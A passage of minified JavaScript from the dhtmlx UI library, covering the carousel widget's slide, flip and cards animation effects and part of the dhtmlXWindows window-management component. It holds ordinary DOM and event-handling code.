c=this.controls.firstChild.lastChild;if(c!=null){c.parentNode.removeChild(c);c=null;if(e!==false){this._adjustControls()}}};this._setBarIndex=function(c){for(var e=0;e<this.controls.firstChild.childNodes.length;e++){this.controls.firstChild.childNodes[e].className=\"dhx_carousel_onebar\"+(e==c?\" dhx_carousel_baractv\":\"\")}};this._unloadControls=function(){if(typeof(window.addEventListener)==\"function\"){this.controls.removeEventListener(\"click\",this._doOnControlClick,false);if(window.dhx4.dnd.evs.start!=null){this.controls.removeEventListener(window.dhx4.dnd.evs.start,this._doOnControlClick,false)}}else{this.controls.detachEvent(\"onclick\",this._doOnControlClick);if(window.dhx4.isIE6||window.dhx4.isIE7||window.dhx4.isIE8){this.controls.onselectstart=null}}while(this.controls.firstChild.childNodes.length>0){this._removeBar(false)}this.cont.removeChild(this.controls);this.controls=null;a=null};if(this.conf.buttons!=true){this.hideControls()}this._checkControls()};window.dhtmlXCarouselCell=function(e,c){dhtmlXCellObject.apply(this,[e,\"_carousel\"]);var a=this;this.carousel=c;this.conf.skin=this.carousel.conf.skin;this.attachEvent(\"_onCellUnload\",function(){this.carousel=null;a=null});this.attachEvent(\"_onContentLoaded\",function(){this.carousel._callMainEvent(\"onContentLoaded\",[this._idd])});this._showCover=function(){if(this.conf.cover==true){return}this._showCellCover();var g=this.cell.childNodes[this.conf.idx.cover];g.onclick=function(){a.carousel._callMainEvent(\"_cellCoverClick\",[a._idd])};g=null};this._hideCover=function(){if(this.conf.cover!=true){return}this.cell.childNodes[this.conf.idx.cover].onclick=null;this._hideCellCover()};return this};dhtmlXCarouselCell.prototype=new dhtmlXCellObject();dhtmlXCarouselCell.prototype.getId=function(){return this._idd};dhtmlXCarouselCell.prototype.getIndex=function(){return this.carousel.cdata[this._idd].index};dhtmlXCarouselCell.prototype.setActive=function(){var a=this.getIndex()-this.carousel.conf.selected;if(a!=0){this.carousel._animateStart(a)}};dhtmlXCarouselCell.prototype.remove=function(){this.carousel._removeCell(this._idd)};dhtmlXCellObject.prototype.attachCarousel=function(a){this.callEvent(\"_onBeforeContentAttach\",[\"carousel\"]);var c=document.createElement(\"DIV\");c.style.width=\"100%\";c.style.height=\"100%\";c.style.position=\"relative\";c.style.overflow=\"hidden\";this._attachObject(c);if(typeof(window.dhtmlXSideBarCell)!=\"undefined\"&&(this instanceof window.dhtmlXSideBarCell)){if(this.conf.skin==\"dhx_terrace\"){c._ofs={t:-1,r:-1,b:-1,l:-1}}}if(typeof(a)==\"undefined\"||a==null){a={}}if(typeof(a.skin)==\"undefined\"){a.skin=this.conf.skin}a.parent=c;this.dataType=\"carousel\";this.dataObj=new dhtmlXCarousel(a);a.parent=null;c=a=null;this.callEvent(\"_onContentAttach\",[]);return this.dataObj};dhtmlXCarousel.prototype.ef.slide=true;dhtmlXCarousel.prototype.ef.slide_conf={anim_step:25,anim_timeout:10,anim_slide:\"left 0.3s\"};dhtmlXCarousel.prototype.ef.slide_f={prepare:\"_slide_prepare\",start:\"_slide_start\",end:\"_slide_end\",update_selected:\"_slide_update_selected\",detect_x:\"_slide_detect_x\",detect_aw:\"_slide_detect_area_width\",cell_added:\"_slide_cell_added\"};dhtmlXCarousel.prototype._slide_init=function(){return this.ef.slide_conf};dhtmlXCarousel.prototype._slide_f=function(){return this.ef.slide_f};dhtmlXCarousel.prototype._slide_prepare=function(c,a){var g=this.conf.anim_step;var h=this.conf.width+this.conf.ofs_item;if(a==false){g=h+1}this.area._init=parseInt(this.area.style.left);var e=this.ind[this.conf.selected+c];this._slide_update_selected(e);if(this.conf.transProp!==false&&a!=false){if(this.conf.transEvInit!=true){this.area.addEventListener(this.conf.transEv,this._animateTransEnd,false);this.conf.transEvInit=true}this.conf.current_dir=c;this.area.style[this.conf.transProp]=this.conf.anim_slide;this.area.style.left=this.area._init+h*(-c)+\"px\"}else{this._slide_start(g,0,h,c)}};dhtmlXCarousel.prototype._slide_start=function(h,a,l,c){var g=false;a+=h;if(a>=l){a=l;g=true}this.area.style.left=this.area._init+a*(-c)+\"px\";if(g!=true){var e=this;window.setTimeout(function(){e._slide_start(h,a,l,c);e=null},this.conf.anim_timeout)}else{this.cdata[this.ind[this.conf.selected]].cell._showCover();this._animateEnd(c)}};dhtmlXCarousel.prototype._slide_end=function(c,a){if(c.type==this.conf.transEv&&a==this.area){this.area.style[this.conf.transProp]=\"\";if(this.conf.transEvInit==true){this.area.removeEventListener(this.conf.transEv,this._animateTransEnd,false);this.conf.transEvInit=false}this.cdata[this.ind[this.conf.selected]].cell._showCover();this._animateEnd(this.conf.current_dir)}};dhtmlXCarousel.prototype._slide_update_selected=function(a){this.cdata[a].cell._hideCover()};dhtmlXCarousel.prototype._slide_detect_x=function(e){var c=this.cdata[e].index;var a=c*(this.conf.width+this.conf.ofs_item)+this.conf.ofs_item;return a};dhtmlXCarousel.prototype._slide_cell_added=function(a){if(this.conf.selected!=this.cdata[a].index){this.cdata[a].cell._showCover()}if(this.cdata[a].index<=this.conf.selected&&this.conf.items_count>1){this._animateStart(1,false)}};dhtmlXCarousel.prototype._slide_detect_area_width=function(){return this.conf.items_count};dhtmlXCarousel.prototype.ef.flip=true;dhtmlXCarousel.prototype.ef.flip_conf={anim_flip:\"transform 0.3s ease-out\",anim_flip_ang:-87,anim_flip_trstyle:\"transform\"};dhtmlXCarousel.prototype.ef.flip_f={prepare:\"_flip_prepare\",start:\"_flip_start\",end:\"_flip_end\",update_selected:\"_flip_update_selected\",detect_x:\"_flip_detect_x\",detect_aw:\"_flip_detect_area_width\",cell_added:\"_flip_cell_added\"};dhtmlXCarousel.prototype._flip_init=function(){var a=(this.conf.transProp==false?false:this.ef.flip_conf);if(a!==false&&window.dhx4.isKHTML==true&&a.anim_flip.match(\"webkit\")==null){a.anim_flip=a.anim_flip.replace(/transform/,\"-webkit-transform\");a.anim_flip_trstyle=\"webkitTransform\"}return a};dhtmlXCarousel.prototype._flip_f=function(){return this.ef.flip_f};dhtmlXCarousel.prototype._flip_prepare=function(a){this.conf.flip_data={fromIndex:this.conf.selected,toIndex:this.conf.selected+a,mode:0,dir:a};this._flip_start()};dhtmlXCarousel.prototype._flip_start=function(){var a=this.cdata[this.ind[this.conf.flip_data.mode==0?this.conf.flip_data.fromIndex:this.conf.flip_data.toIndex]].cell;if(this.area.className.match(/dhxcarousel_area_flip/)==null){this.area.className+=\" dhxcarousel_area_flip\"}if(a.conf.tr_ev!=true){a.cell.addEventListener(this.conf.transEv,this._animateTransEnd,false);a.conf.tr_ev=true}if(this.conf.flip_data.mode==0){a.cell.style[this.conf.anim_flip_trstyle]=\"rotateY(\"+String(this.conf.flip_data.dir>0?this.conf.anim_flip_ang:-this.conf.anim_flip_ang)+\"deg)\"}else{a.cell.style.visibility=\"visible\";a.cell.style[this.conf.anim_flip_trstyle]=\"rotateY(0deg)\"}a.cell.style[this.conf.transProp]=this.conf.anim_flip;a=null};dhtmlXCarousel.prototype._flip_end=function(n,m){if(n.type==this.conf.transEv){var a=this.cdata[this.ind[this.conf.flip_data.mode==0?this.conf.flip_data.fromIndex:this.conf.flip_data.toIndex]].cell;if(m==a.cell){a.cell.removeEventListener(this.conf.transEv,this._animateTransEnd,false);a.conf.tr_ev=false;if(this.conf.flip_data.mode==0){a.cell.style[this.conf.transProp]=\"\";a.cell.style.visibility=\"hidden\";this.conf.flip_data.mode=1;this._flip_start()}else{var g=this.conf.flip_data.dir;var h=Math.min(this.conf.flip_data.fromIndex,this.conf.flip_data.toIndex)+1;var c=Math.max(this.conf.flip_data.fromIndex,this.conf.flip_data.toIndex)-1;for(var l=h;l<=c;l++){this.cdata[this.ind[l]].cell.cell.style[this.conf.anim_flip_trstyle]=\"rotateY(\"+String(this.conf.anim_flip_ang*g/Math.abs(g))+\"deg)\"}if(this.area.className.match(/dhxcarousel_area_flip/)!=null){this.area.className=String(this.area.className).replace(/\\s{0,}dhxcarousel_area_flip/gi,\"\")}this.conf.flip_data=null;a.cell.style[this.conf.transProp]=\"\";this._animateEnd(g)}}a=null}};dhtmlXCarousel.prototype._flip_update_selected=function(a){};dhtmlXCarousel.prototype._flip_detect_x=function(e){var c=0;var a=c*(this.conf.width+this.conf.ofs_item)+this.conf.ofs_item;return a};dhtmlXCarousel.prototype._flip_cell_added=function(a){if(this.conf.selected!=this.cdata[a].index){this.cdata[a].cell.cell.style[this.conf.anim_flip_trstyle]=\"rotateY(\"+String(this.cdata[a].index<this.conf.selected?this.conf.anim_flip_ang:-this.conf.anim_flip_ang)+\"deg)\";this.cdata[a].cell.cell.style.visibility=\"hidden\"}else{this.cdata[a].cell.cell.style[this.conf.anim_flip_trstyle]=\"rotateY(0deg)\"}};dhtmlXCarousel.prototype._flip_detect_area_width=function(){return 1};dhtmlXCarousel.prototype.ef.cards=true;dhtmlXCarousel.prototype.ef.cards_conf={anim_cards:\"left 0.3s\"};dhtmlXCarousel.prototype.ef.cards_f={prepare:\"_cards_prepare\",start:\"_cards_start\",end:\"_cards_end\",update_selected:\"_cards_update_selected\",detect_x:\"_cards_detect_x\",detect_aw:\"_cards_detect_area_width\",cell_added:\"_cards_cell_added\"};dhtmlXCarousel.prototype._cards_init=function(){return(this.conf.transProp==false?false:this.ef.cards_conf)};dhtmlXCarousel.prototype._cards_f=function(){return this.ef.cards_f};dhtmlXCarousel.prototype._cards_prepare=function(e,c){if(e>0){var g=this.ind[this.conf.selected+e];var a=this.cdata[g].cell;this._cards_update_selected(g);if(a.conf.transEvInit!=true){a.cell.addEventListener(this.conf.transEv,this._animateTransEnd,false);a.conf.transEvInit=true}this.conf.current_id=g;this.conf.current_dir=e;a.cell.style[this.conf.transProp]=this.conf.anim_cards;a.cell.style.left=this._cards_detect_x(g,0)+\"px\";a=null}else{this._cards_adjust_middle(this.conf.selected+e+1,this.conf.selected-1,1);var g=this.ind[this.conf.selected];var a=this.cdata[g].cell;a._hideCover();if(a.conf.transEvInit!=true){a.cell.addEventListener(this.conf.transEv,this._animateTransEnd,false);a.conf.transEvInit=true}this.conf.current_id=g;this.conf.current_dir=e;this.cdata[this.ind[this.conf.selected+e]].cell._hideCover();a.cell.style[this.conf.transProp]=this.conf.anim_cards;a.cell.style.left=this._cards_detect_x(g,1)+\"px\";a=null}};dhtmlXCarousel.prototype._cards_start=function(e,a,g,c){};dhtmlXCarousel.prototype._cards_end=function(g,c){if(g.type==this.conf.transEv&&this.conf.current_id!=null&&c==this.cdata[this.conf.current_id].cell.cell){var a=this.cdata[this.conf.current_id].cell;a.cell.style[this.conf.transProp]=\"\";if(a.conf.transEvInit!=true){a.cell.removeEventListener(this.conf.transEv,this._animateTransEnd,false);a.conf.transEvInit=false}this.conf.current_id=null;if(this.conf.current_dir>0){this._cards_adjust_middle(this.conf.selected+1,this.conf.selected+this.conf.current_dir-1,0)}this.cdata[this.ind[this.conf.selected]].cell._showCover();this._animateEnd(this.conf.current_dir)}};dhtmlXCarousel.prototype._cards_update_selected=function(a){this.cdata[a].cell._hideCover()};dhtmlXCarousel.prototype._cards_adjust_middle=function(e,h,c){for(var g=e;g<=h;g++){var l=this.ind[g];var a=this.cdata[l].cell;a.conf.size.x=this._cards_detect_x(l,c);a.cell.style.left=a.conf.size.x+\"px\";a=null}};dhtmlXCarousel.prototype._cards_detect_x=function(e,c){if(typeof(c)==\"undefined\"||c==null){c=(this.cdata[e].index<=this.conf.selected?0:1)}var a=c*(this.conf.width+this.conf.ofs_left+this.conf.ofs_item)+this.conf.ofs_item;return a};dhtmlXCarousel.prototype._cards_cell_added=function(a){this.cdata[a].cell.conf.size.x=this._cards_detect_x(a);this.cdata[a].cell.cell.style.left=this.cdata[a].cell.conf.size.x+\"px\";if(this.conf.selected!=this.cdata[a].index){this.cdata[a].cell._showCover()}};dhtmlXCarousel.prototype._cards_detect_area_width=function(){return 2};function dhtmlXWindows(n){var l=this;var g={};if(typeof(n)!=\"undefined\"){for(var e in n){g[e]=n[e]}}n=null;this.conf={skin:window.dhx4.skin||(typeof(dhtmlx)!=\"undefined\"?dhtmlx.skin:null)||window.dhx4.skinDetect(\"dhxwins\")||\"dhx_skyblue\",vp_pos_ofs:20,vp_custom:false,vp_of_auto:(g.vp_overflow==\"auto\"),vp_of_id:window.dhx4.newId(),ofs_w:null,ofs_h:null,button_last:null,dblclick_tm:300,dblclick_last:null,dblclick_id:null,dblclick_mode:\"minmax\",dblclick_active:false,dblclick_ev:(navigator.userAgent.indexOf(\"MSIE 6.0\")>=0||navigator.userAgent.indexOf(\"MSIE 7.0\")>=0||navigator.userAgent.indexOf(\"MSIE 8.0\")>=0),fr_cover:(navigator.userAgent.indexOf(\"MSIE 6.0\")>=0)};var c=window.dhx4.transDetect();this.conf.tr={prop:c.transProp,ev:c.transEv,height_open:\"height 0.2s cubic-bezier(0.25,0.1,0.25,1)\",height_close:\"height 0.18s cubic-bezier(0.25,0.1,0.25,1)\",op_open:\"opacity 0.16s ease-in\",op_close:\"opacity 0.2s ease-out\",op_v_open:\"1\",op_v_close:\"0.4\"};if(!g.viewport){this.attachViewportTo(document.body)}else{if(g.viewport.object!=null){this.attachViewportTo(g.viewport.object)}else{if(g.viewport.left!=null&&g.viewport.top!=null&&g.viewport.width!=null&&g.viewport.height!=null){this.setViewport(g.viewport.left,g.viewport.top,g.viewport.width,g.viewport.height,g.viewport.parent)}else{this.attachViewportTo(document.body)}}}this.w={};this.createWindow=function(q,F,D,s,I){var o={};if(arguments.length==1&&typeof(q)==\"object\"){o=q}else{o.id=q;o.left=F;o.top=D;o.width=s;o.height=I;if(typeof(o.id)==\"undefined\"||o.id==null){o.id=window.dhx4.newId()}while(this.w[o.id]!=null){o.id=window.dhx4.newId()}}if(o.left==null){o.left=0}if(o.top==null){o.top=0}o.move=(o.move!=null&&window.dhx4.s2b(o.move)==false?false:(o.deny_move!=null&&window.dhx4.s2b(o.deny_move)==true?false:true));o.park=(o.park!=null&&window.dhx4.s2b(o.park)==false?false:(o.deny_park!=null&&window.dhx4.s2b(o.deny_park)==true?false:true));o.resize=(o.resize!=null&&window.dhx4.s2b(o.resize)==false?false:(o.deny_resize!=null&&window.dhx4.s2b(o.deny_resize)==true?false:true));o.keep_in_viewport=(o.keep_in_viewport!=null&&window.dhx4.s2b(o.keep_in_viewport));o.modal=(o.modal!=null&&window.dhx4.s2b(o.modal));o.center=(o.center!=null&&window.dhx4.s2b(o.center));o.text=(o.text!=null?o.text:(o.caption!=null?o.caption:\"dhtmlxWindow\"));o.header=(!(o.header!=null&&window.dhx4.s2b(o.header)==false));var J=document.createElement(\"DIV\");J.className=\"dhxwin_active\";this.vp.appendChild(J);J._isWindow=true;J._idd=o.id;var w=document.createElement(\"DIV\");w.className=\"dhxwin_hdr\";w.style.zIndex=0;w.innerHTML=\"<div class='dhxwin_icon'></div><div class='dhxwin_text'><div class='dhxwin_text_inside'>\"+o.text+\"</div></div><div class='dhxwin_btns'></div>\";J.appendChild(w);w.onselectstart=function(a){a=a||event;if(a.preventDefault){a.preventDefault()}else{a.returnValue=false}return false};w.oncontextmenu=function(a){a=a||event;a.cancelBubble=true;return false};w._isWinHdr=true;w.firstChild._isWinIcon=true;var u=document.createElement(\"DIV\");u.className=\"dhxwin_brd\";J.appendChild(u);var C=document.createElement(\"DIV\");C.className=\"dhxwin_fr_cover\";C.innerHTML=\"<iframe class='dhxwin_fr_cover_inner' frameborder='0' border='0'></iframe><div class='dhxwin_fr_cover_inner'></div>\";J.appendChild(C);this.w[o.id]={win:J,hdr:w,brd:u,fr_cover:C,b:{},conf:{z_id:window.dhx4.newId(),actv:false,modal:false,maxed:false,parked:false,sticked:false,visible:true,header:true,text:o.text,keep_in_vp:o.keep_in_viewport,allow_move:o.move,allow_park:o.park,allow_resize:o.resize,max_w:null,max_h:null,min_w:80,min_h:80}};var v={help:{title:\"Help\",visible:false},stick:{title:\"Stick\",visible:false},park:{title:\"Park\",visible:true},minmax:{title:\"Min/Max\",visible:true},close:{title:\"Close\",visible:true}};for(var E in v){var A=new dhtmlXWindowsButton(this,o.id,E,v[E].title,false);if(v[E].visible==false){A.hide()}w.lastChild.appendChild(A.button);this.w[o.id].b[E]=A;A=null}this._winAdjustTitle(o.id);this.w[o.id].win.style.zIndex=window.dhx4.zim.reserve(this.w[o.id].conf.z_id);var H=new dhtmlXWindowsCell(o.id,this);this.w[o.id].win.insertBefore(H.cell,C);this.w[o.id].cell=H;if(typeof(window.addEventListener)==\"function\"){this.w[o.id].win.addEventListener(\"mousedown\",this._winOnMouseDown,false);this.w[o.id].win.addEventListener(\"mouseup\",this._winOnMouseDown,false);if(this.conf.dblclick_ev){this.w[o.id].win.addEventListener(\"dblclick\",this._winOnMouseDown,false)}if(this.conf.dnd_enabled==true&&window.dhx4.dnd.evs.start!=null){this.w[o.id].win.addEventListener(window.dhx4.dnd.evs.start,this._winOnMouseDown,false);if(window.dhx4.dnd.p_en!=true){this.w[o.id].win.addEventListener(window.dhx4.dnd.evs.start,this._winOnMouseDown,false);this.w[o.id].win.addEventListener(window.dhx4.dnd.evs.end,this._winOnMouseDown,false)}}}else{this.w[o.id].win.attachEvent(\"onmousedown\",this._winOnMouseDown);this.w[o.id].win.attachEvent(\"onmouseup\",this._winOnMouseDown);if(this.conf.dblclick_ev){this.w[o.id].win.attachEvent(\"ondblclick\",this._winOnMouseDown)}}this._winInitFRM(o.id);this._winSetPosition(o.id,o.left,o.top);this._winSetSize(o.id,o.width,o.height);this._winMakeActive(o.id);if(o.center==true){this.w[o.id].cell.center()}if(o.modal==true){this.w[o.id].cell.setModal(true)}if(o.header==false){this.w[o.id].cell.hideHeader()}f=J=w=u=C=H=null;return this.w[o.id].cell};this._winOnMouseDown=function(q){q=q||event;var a=q.target||q.srcElement;var o={press_type:q.type};if(q.type==\"MSPointerDown\"||q.type==\"pointerdown\"){l.conf.ev_skip=true}else{if(l.conf.ev_skip==true){l.conf.ev_skip=false;a=null;return}}while(a!=null&&a._isWindow!=true){if(typeof(a.className)!=\"undefined\"&&o.mode==null){if(typeof(a._buttonName)!=\"undefined\"){o.mode=\"button\";o.button_name=a._buttonName}else{if(a._isWinHdr==true){o.mode=\"hdr\"}else{if(a._isWinIcon==true){o.mode=\"icon\"}}}}a=a.parentNode}if(o.mode==null){o.mode=\"win\"}o.id=(a!=null&&a._isWindow==true?a._idd:null);a=null;if(o.id!=null&&l.w[o.id]!=null){l.callEvent(\"_winMouseDown\",[q,o])}};this._winOnParkTrans=function(o){if(o.stopPropagation){o.stopPropagation()}var a=l.w[this._idd];if(o.propertyName==\"opacity\"){l._winCellClearOpacity(this._idd)}if(o.propertyName==\"height\"&&a.conf.tr_mode==\"park\"){if(a.conf.tr_mode==\"park\"){a.win.style[l.conf.tr.prop]=\"\";if(!a.conf.parked){l._winAdjustCell(this._idd);l._callMainEvent(\"onParkDown\",this._idd);if(a.conf.keep_in_vp){l._winAdjustPosition(this._idd,a.conf.x,a.conf.y)}}else{a.hdr.style.zIndex=3;l._callMainEvent(\"onParkUp\",this._idd)}}}a=null};this.unload=function(){this.conf.unloading=true;if(this._dndInitModule){this._dndUnloadModule()}for(var o in this.w){this._winClose(o)}this.w=null;if(this.cm!=null&&typeof(this._unloadContextMenu)==\"function\"){this._unloadContextMenu()}window.dhx4._eventable(this,\"clear\");this.attachViewportTo(null);for(var o in this.conf){this.conf[o]=null;delete this.conf[o]}for(var o in this){this[o]=null}l=o=null};window.dhx4._eventable(this);this.attachEvent(\"_winMouseDown\",this._winMouseDownHandler);if(this._dndInitModule){this._dndInitModule()}if(g.wins!=null){for(var m=0;m<g.wins.length;m++){var h=g.wins[m];this.createWindow(h)}}g=null;return this}dhtmlXWindows.prototype.forEachWindow=function(e){for(var c in this.w){e.apply(window,[this.w[c].cell])}};dhtmlXWindows.prototype.window=function(a){if(this.w[a]!=null){return this.w[a].cell}return null};dhtmlXWindows.prototype.isWindow=function(a){return(this.w[a]!=null)};dhtmlXWindows.prototype.findByText=function(g){var e=[];for(var c in this.w){if((this.w[c].cell.getText()).indexOf(String(g))>=0){e.push(this.w[c])}}return e};dhtmlXWindows.prototype.setSkin=function(e){if(e==this.conf.skin){return}if(this.vp!=null){this.vp.className=String(this.vp.className).replace(\"dhxwins_vp_\"+this.conf.skin,\" dhxwins_vp_\"+e)}for(var c in this.w){this.w[c].cell._resetSizeState();this._winAdjustCell(c);this._winAdjustTitle(c)}this.conf.skin=e};dhtmlXWindows.prototype.getBottommostWindow=function(){return this._getTopBottomWin(false)};dhtmlXWindows.prototype.getTopmostWindow=function(){return this._getTopBottomWin(true)};dhtmlXWindows.prototype._getTopBottomWin=function(h){var g=null;for(var c in this.w){if(this.w[c].conf.visible){var e=false;if(g!=null){e=g.z>this.w[c].win.style.zIndex;if(h){e=!e}}if(g==null||e){g={win:this.w[c].cell,z:this.w[c].win.style.zIndex}}}}return(g?g.win:null)};dhtmlXWindows.prototype._winMakeActive=function(e,h){if(e!=null&&h!==true&&this.w[e].conf.actv==true){return}var u=[];var n={};for(var c=0;c<this._zOrder.length;c++){var m=this._zOrder[c].name;var g=this._zOrder[c].value;var v=[];for(var r in this.w){var s=this.w[r];if(n[r]==null&&s.conf[m]===g&&s.conf.visible==true){if(e!=r){window.dhx4.zim.clear(s.conf.z_id);v.push([r,Number(s.win.style.zIndex)]);n[r]=true}}s=null}v.sort(function(w,q){return(w[1]<q[1]?1:-1)});if(e!=null&&this.w[e].conf[m]===g&&n[e]==null){window.dhx4.zim.clear(this.w[e].conf.z_id);var l=[[e,Number(this.w[e].win.style.zIndex)]];v=l.concat(v);n[e]=true}u=u.concat(v)}for(var c=u.length-1;c>=0;c--){var r=u[c][0];var s=this.w[r];s.win.style.zIndex=window.dhx4.zim.reserve(s.conf.z_id);if(s.conf.modal&&this.mcover!=null){for(var o in this.mcover){this.mcover[o].style.zIndex=s.win.style.zIndex}}this._winAdjustFRMZIndex(r);if(e==null&&c==0){e=r}s.conf.actv=(e==r);s.win.className=(s.conf.actv?\"dhxwin_active\":\"dhxwin_inactive\");s=null}if(e!=null&&this.conf.last_active!=e){this._callMainEvent(\"onFocus\",e)}this.conf.last_active=e};dhtmlXWindows.prototype._zOrder=[{name:\"modal\",value:true},{name:\"sticked\",value:true},{name:\"sticked\",value:false}];dhtmlXWindows.prototype._vpPull={};dhtmlXWindows.prototype._vpOf={};dhtmlXWindows.prototype._vpPullAdd=function(){if(this.vp==null){return}var e=null;for(var c in this._vpPull){if(this._vpPull[c].vp==this.vp){this._vpPull[c].count++;e=c}}if(e==null){this._vpPull[window.dhx4.newId()]={vp:this.vp,count:1}}if(this.vp==document.body&&this.conf.vp_of_auto==true){this._vpOfInit()}this._vpOfUpd()};dhtmlXWindows.prototype._vpPullRemove=function(){if(this.vp==null){return 0}var e=0;for(var c in this._vpPull){if(this._vpPull[c].vp==this.vp){e=--this._vpPull[c].count;if(e==0){this._vpPull[c].vp=null;this._vpPull[c].count=null;delete this._vpPull[c]}}}this._vpOfClear();return e};dhtmlXWindows.prototype._vpOfInit=function(){this._vpOf[this.conf.vp_of_id]=true};dhtmlXWindows.prototype._vpOfClear=function(){this._vpOf[this.conf.vp_of_id]=false;delete this._vpOf[this.conf.vp_of_id];this._vpOfUpd()};dhtmlXWindows.prototype._vpOfUpd=function(){var e=false;for(var c in this._vpOf){e=e||this._vpOf[c]}if(e==true){if(document.body.className.match(/dhxwins_vp_auto/)==null){document.body.className+=\" dhxwins_vp_auto\"}}else{if(document.body.className.match(/dhxwins_vp_auto/)!=null){document.body.className=String().replace(/\\s{0,}dhxwins_vp_auto/gi,\"\")}}};dhtmlXWindows.prototype.attachViewportTo=function(h){var e=this._vpPullRemove();if(this.conf.vp_custom){while(this.vp.childNodes.length>0){this.vp.removeChild(this.vp.lastChild)}this.vp.parentNode.removeChild(this.vp);this.vp=null}else{if(this.vp!=null&&e==0){this.vp.className=String(this.vp.className).replace(new RegExp(\"\\\\s{1,}dhxwins_vp_\"+this.conf.skin),\"\")}}if(h==null){this.vp=null}else{this.vp=(typeof(h)==\"string\"?document.getElementById(h):h);var g=\"dhxwins_vp_\"+this.conf.skin;if(this.vp.className.indexOf(g)<0){this.vp.className+=\" \"+g}h=null;for(var c in this.w){this.vp.appendChild(this.w[c].win)}this.conf.vp_custom=false}if(this.vp==document.body){document.body.style.position=\"static\"}this._vpPullAdd()};dhtmlXWindows.prototype.setViewport=function(c,l,g,a,h){var e=document.createElement(\"DIV\");e.style.position=\"absolute\";e.style.left=c+\"px\";e.style.top=l+\"px\";e.style.width=g+\"px\";e.style.height=a+\"px\";if(typeof(h)==\"undefined\"||h==null){h=document.body}else{if(typeof(h)==\"string\"){h=document.getElementById(h)}}h.appendChild(e);this.attachViewportTo(e);this.conf.vp_custom=true;h=e=null};dhtmlXWindows.prototype._winSetPosition=function(g,a,e){var c=this.w[g];if(c.conf.maxed){c.conf.lastMX+=(a-c.conf.x);c.conf.lastMY+=(e-c.conf.y)}c.conf.x=a;c.conf.y=e;c.win.style.left=c.conf.x+\"px\";c.win.style.top=c.conf.y+\"px\";this._winAdjustFRMPosition(g);c=null};dhtmlXWindows.prototype._winAdjustPosition=function(m,c,l){var e=this.w[m];if(typeof(c)==\"undefined\"){c=e.conf.x}if(typeof(l)==\"undefined\"){l=e.conf.y}var a=(e.conf.keep_in_vp?0:-e.conf.w+this.conf.vp_pos_ofs);var h=(e.conf.keep_in_vp?this.vp.clientWidth-e.conf.w:this.vp.clientWidth-this.conf.vp_pos_ofs);if(c<a){c=a}else{if(c>h){c=h}}var g=(e.conf.keep_in_vp?this.vp.clientHeight-e.conf.h:this.vp.clientHeight-this.conf.vp_pos_ofs);if(l<0){l=0}else{if(l>g){l=g}}if(c!=e.conf.x||l!=e.conf.y){this._winSetPosition(m,c,l)}e=null};dhtmlXWindows.prototype._winSetSize=function(n,l,e,m,c){var g=this.w[n];var a=(l!=null?l:g.conf.w);var h=(e!=null?e:g.conf.h);if(this.conf.ofs_w==null){g.win.style.width=a+\"px\";g.win.style.height=h+\"px\";this.conf.ofs_w=g.win.offsetWidth-a;this.conf.ofs_h=g.win.offsetHeight-h}if(g.conf.min_w!=null&&a<g.conf.min_w){a=g.conf.min_w}if(g.conf.max_w!=null&&a>g.conf.max_w){a=g.conf.max_w}if(!g.conf.parked&&g.conf.min_h!=null&&h<g.conf.min_h){h=g.conf.min_h}if(g.conf.max_h!=null&&h>g.conf.max_h){h=g.conf.max_h}if(g.conf.keep_in_vp){if(a>this.vp.clientWidth){a=this.vp.clientWidth}if(h>this.vp.clientHeight){h=this.vp.clientHeight}}g.win.style.width=a-this.conf.ofs_w+\"px\";g.win.style.height=h-this.conf.ofs_h+\"px\";g.conf.w=a;g.conf.h=h;this._winAdjustFRMSize(n);if(c){this._winAdjustPosition(n,g.conf.x,g.conf.y)}if(!g.conf.parked&&m!=true){this._winAdjustCell(n)}g=null};dhtmlXWindows.prototype._winMinmax=function(h,e){if(typeof(e)!=\"undefined\"&&this.w[h].conf.maxed==e){return}if(this.w[h].conf.allow_resize==false){return}var c=this.w[h];if(c.conf.parked){this._winPark(h,false)}if(c.conf.maxed){this._winSetSize(h,c.conf.lastMW,c.conf.lastMH);this._winAdjustPosition(h,c.conf.lastMX,c.conf.lastMY);c.conf.maxed=false}else{var a=0;var g=0;if(c.conf.max_w!=null){a=c.conf.x+Math.round(c.conf.w-c.conf.max_w)/2}if(c.conf.max_h!=null){g=Math.max(c.conf.y+Math.round(c.conf.h-c.conf.max_h)/2,0)}c.conf.lastMX=c.conf.x;c.conf.lastMY=c.conf.y;c.conf.lastMW=c.conf.w;c.conf.lastMH=c.conf.h;this._winSetSize(h,this.vp.clientWidth,this.vp.clientHeight);this._winAdjustPosition(h,a,g);c.conf.maxed=true}c.b.minmax.setCss(c.conf.maxed?\"minmaxed\":\"minmax\");if(c.conf.maxed){this._callMainEvent(\"onMaximize\",h)}else{this._callMainEvent(\"onMinimize\",h)}c=null};dhtmlXWindows.prototype._winShow=function(c,a){if(this.w[c].conf.visible==true){return}this.w[c].win.style.display=\"\";this.w[c].conf.visible=true;if(a==true||this.conf.last_active==null){this._winMakeActive(c,true)}this._callMainEvent(\"onShow\",c)};dhtmlXWindows.prototype._winHide=function(c,a){if(this.w[c].conf.visible==false){return}this.w[c].win.style.display=\"none\";this.w[c].conf.visible=false;if(this.w[c].conf.actv){this.w[c].conf.actv=false;this.w[c].win.className=\"dhxwin_inactive\";this._winMakeActive(null,true)}this._callMainEvent(\"onHide\",c)};dhtmlXWindows.prototype._winPark=function(e,a){if(this.w[e].conf.allow_park==false){return}if(this.w[e].conf.header==false){return}var c=this.w[e];if(a==true&&this.conf.tr.prop!==false){c.win.style[this.conf.tr.prop]=this.conf.tr[c.conf.parked?\"height_open\":\"height_close\"];if(!c.conf.tr_ev){c.win.addEventListener(this.conf.tr.ev,this._winOnParkTrans,false);c.conf.tr_ev=true}}if(c.conf.parked){c.hdr.className=String(c.hdr.className).replace(/\\s{1,}dhxwin_hdr_parked/gi,\"\");c.hdr.style.zIndex=0;c.conf.parked=false;c.conf.tr_mode=\"park\";this._winCellSetOpacity(e,\"open\",a);this._winSetSize(e,c.conf.w,c.conf.lastPH,(a==true&&this.conf.tr.prop!==false));if(!(a==true&&this.conf.tr.prop!==false)){this._callMainEvent(\"onParkDown\",e);if(c.conf.keep_in_vp){this._winAdjustPosition(e,c.conf.x,c.conf.y)}}if(window.dhx4.isIE8==true&&this.conf.tr.prop==false&&c.cell.cell.className.match(/dhxwin_parked/)!=null){c.cell.cell.className=c.cell.cell.className.replace(/\\s{0,}dhxwin_parked/gi,\"\")}}else{c.conf.lastPH=c.conf.h;c.hdr.className+=\" 